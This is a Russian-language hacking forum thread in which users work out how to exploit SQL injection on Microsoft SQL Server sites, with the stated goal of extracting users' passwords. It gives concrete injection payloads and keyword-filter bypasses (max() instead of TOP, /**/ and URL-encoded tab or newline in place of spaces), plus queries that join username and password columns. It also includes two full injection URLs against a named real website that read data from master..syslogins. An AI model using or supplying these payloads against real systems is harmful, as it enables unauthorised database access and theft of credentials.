Вот с поvощью инъекции можно узнать логин пользователя, а можно ли его пасс узнать? И еще как можно обойти вот такое: Code: Incorrect syntax near Оно не дает использовать top, from, bcp, exec =(
Кельт, фразу дальше мейби продлишь? Неверный запрос ты составил вообще Пароль можно вытащить если он в бд в незашифрованном виде...
Фразу я не продлил потому как она на все перечисленные ниже слова ругается, к примеру, на запрос вида: or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)-- вылетает ошибка: Code: Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
Поддерживает, но обязательно что бы они были закрытыми, пробел так же можно заменить на /**/ 2Кельт, иногда top фильтруется попробуй замени на max(table_name)
что-то не помогает =( при замене + на /**/ выдает: Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near '/'. (severity 15) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource При использовании max(table_name) начинает ругаться на from: Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near 'from'. (severity 15) Warning: mssql_query() [function.mssql-query]: Query failed Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
Scipio, Isis Нечего там не фильтруеться переведи ошибку для начала. max() - возвращает максимальное значение аргумента. concat() - не поддерживаеться в mssql нету там такой функции. /**/ не являються официльными коментариями в mssql при фильтрации лучше всего испоьзывать стандартные знаки типо + и табуляции в URL encode. Не ругаеться на from, написанно что некорректный синксасис рядом/около 'from'. Модераторы убидительная просьба почистите тему!!! Хм, а что в теме не так? Люди обсуждают тему. Alexsize
[ cash ], max() возвращает всего лишь одно значение, как и top 1, для использования подзапросов это как раз и надо, чтоб подзапрос возвращал однo значение, только немного с другой стороны подход, но ты всегда можешь сам попробовать и убедиться что это то что нужно и вполне равноцено (в плане получения одного только значения) использованию top 1 при sql-inj /**/ обычный коммент и является заменой пробелу, покрайней мере в 2000 сервере точно работает, насчет concat согласен
Две наиболее популярные области применения функций связаны с возможнос- тью повторного использования кода и упрощенным представлением сложных запро- сов. Одно из основных преимуществ функций заключается в том, что вы можете ис- пользовать их взамен программного кода, который в обычных условиях пришлось бы писать снова и снова. Функции дают возможность компактно представить боль- шие фрагменты кода для повторного использования. Рассмотрим простейший вари- ант: вам необходимо, используя SQL Server, извлечь наибольшее значение столбца Amount таблицы Sales, чтобы выяснить максимальный показатель за сутки. Если бы не встроенные функции, нам пришлось бы прибегнуть к таким непрактичным при- емам, как курсоры и переменные, и написать много строк кода в случае повторно- го использования в проекте. К счастью, среди встроенных функций предусмотрена специальная функция MAX(), пригодная для решения данной задачи. Функция MAX() возвращает максимальное значение столбца, и ее можно использовать следующим образом: Code: CREATE TABLE SALES( AMOUNT NUMERIC(5,2) ); INSERT INTO SALES(AMOUNT) VALUES(100.00); INSERT INTO SALES(AMOUNT) VALUES(1435.50); INSERT INTO SALES(AMOUNT) VALUES(456.87); INSERT INTO SALES(AMOUNT) VALUES(4500.00); INSERT INTO SALES(AMOUNT) VALUES(564.55); INSERT INTO SALES(AMOUNT) VALUES(3456.34); SELECT MAX(AMOUNT) AS BIG_SALE FROM SALES; BIG_SALE 4500.00
[ cash ], так правильно....выше уже сказали что max() возвращает одно значение - максимальное... А если AMOUNT string, что выведет max?
Ну что значит с описанием, (вобще ты сам дал описание), но я говорил про использование max() в контексте SQL-inj... насчет примеров мне не охото сейчас особо искать, вот первое что попалось, это не MSSQL а SYBASE ASE 12.05, но сам понимаешь разницы большой нет, уж на край ты и сам сможешь попробовать на mssql, пример: Code: http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins))-- Code: http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x73796273797374656D6462)))--
Забавно, неплохо. Таким образом можно применять как минимум с десяток функций... тот же min(). Хочу заметить что когда top или select или др. фильтруеться, не будет вывода в ошибку базы данных, так как данные отфильтровываються на уровне веб сервера а не базы. Следовательно при ошибке TOP передаеться в базу без фильтра.
в этом я с тобой [ cash ] согласен, судя по описанию ошибок я почти уверен, что тут дело в том, что плюс в запросе Кельта интерпритируется как плюс, а не как пробел, это может быть, например, если в mssql_query() запрос передается не через _GET а через _SERVER['QUERY_STRING'], в таком случае вместо + надо использовать пробелы ЗЫ почему /**/ вызывает ошибку, я так и не понял, возможно из-за версии сервера
Вообще я уже где то писал, что + в TSQL это не пробел (+) так же используется для объеденения данных в запросе аналогично concat() в mysql, Например: Code: SELECT ALL user+char(0x3a)+pass FROM users; SELECT ALL cast(user as nvarchar)+':'+cast(pass as nvarchar) FROM users; В качестве пробела можно исползывать. Code: %09 %0A %0D Но в большинстве случаев хватает Code: %20 %2B
способ не использовать cast или convert вместо Code: cast(user as nvarchar)+':'+cast(pass as nvarchar) можно Code: quotename(user+':'+pass)